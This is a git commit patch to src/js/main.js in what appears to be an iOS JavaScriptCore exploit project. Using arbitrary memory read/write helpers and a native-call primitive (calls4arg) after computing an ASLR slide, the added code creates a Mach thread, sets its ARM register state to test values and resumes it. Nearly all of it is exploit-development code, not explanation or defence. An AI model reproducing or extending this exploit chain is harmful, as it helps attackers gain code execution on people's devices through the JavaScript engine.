From 099f735dfb75b1e96272c5e56bb963a736aeabdc Mon Sep 17 00:00:00 2001
From: spv420 <unomilliono@gmail.com>
Date: Sun, 24 Apr 2022 03:24:23 -0400
Subject: backup shit in case i bootloop

---
 src/js/main.js | 56 +++++++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 51 insertions(+), 5 deletions(-)

(limited to 'src/js/main.js')

diff --git a/src/js/main.js b/src/js/main.js
index c7a8d57..d611329 100644
--- a/src/js/main.js
+++ b/src/js/main.js
@@ -8,6 +8,9 @@
 var MAX_SLIDE = 0x3;
 var MIN_SLIDE = 0x1;
 
+var ARM_THREAD_STATE = 0x1;
+var ARM_THREAD_STATE_COUNT = 0x11;
+
 try {
 	log("we out here in jsc");
 } catch (e) {
@@ -31,6 +34,26 @@ function main() {
 	slide = get_our_slide();
 	base = 0x4000 + (slide << 12);
 	slid = (slide << 12);
+	mytask = 0;
+	count = 0x130000;
+	th = 0x130100;
+//	thread_state_ptr = 0x130008;
+	thread_state = 0x130200;
+	countptr = 0x131000;
+	thptr = 0x131004;
+	thread_stateptr = 0x131008;
+
+	countptrptr = 0x132000;
+	thptrptr = 0x132004;
+	thread_stateptrptr = 0x132008;
+
+	write_u32(countptr, count);
+	write_u32(thptr, th);
+	write_u32(thread_stateptr, thread_state);
+
+	write_u32(countptrptr, countptr);
+	write_u32(thptrptr, thptr);
+	write_u32(thread_stateptrptr, thread_stateptr);
 
 	init_sptr_heap();
 
@@ -42,12 +65,35 @@ function main() {
 	printf("*(uint16_t*)base = 0x%x\n", read_u16(base));
 	printf("*(uint32_t*)base = 0x%x\n", read_u32(base));
 
-	var i = 0;
-	while (true) {
-		calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide);
-		calls4arg("sleep", 1, 0, 0, 0);
-		i++;
+	puts("alive");
+	mytask = calls4arg("mach_task_self", 0, 0, 0, 0);
+
+	printf("%x %x %x\n", mytask, thptr, th);
+	printf("%x %x\n", thread_stateptr, countptr);
+
+	puts("alive");
+	calls4arg("thread_create", mytask, th, 0, 0);
+	printf("mytask=%x th=%x\n", mytask, read_u32(th));
+	puts("alive");
+	calls4arg("thread_get_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, countptr);
+	printf("thread_state=%x\n", read_u32(thread_state));
+	puts("alive");
+	for (var i = 0; i < 16; i++) {
+		write_u32(thread_state + (i << 2), 0x41414140 + i);
 	}
+	printf("thread_state=%x\n", read_u32(thread_state));
+	puts("alive");
+	calls4arg("thread_set_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, ARM_THREAD_STATE_COUNT);
+	puts("alive");
+	calls4arg("thread_resume", thptr, 0, 0, 0);
+	puts("alive");
+
+//	var i = 0;
+//	while (true) {
+//		calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide);
+//		calls4arg("sleep", 1, 0, 0, 0);
+//		i++;
+//	}
 
 	log("still alive");
 };
-- 
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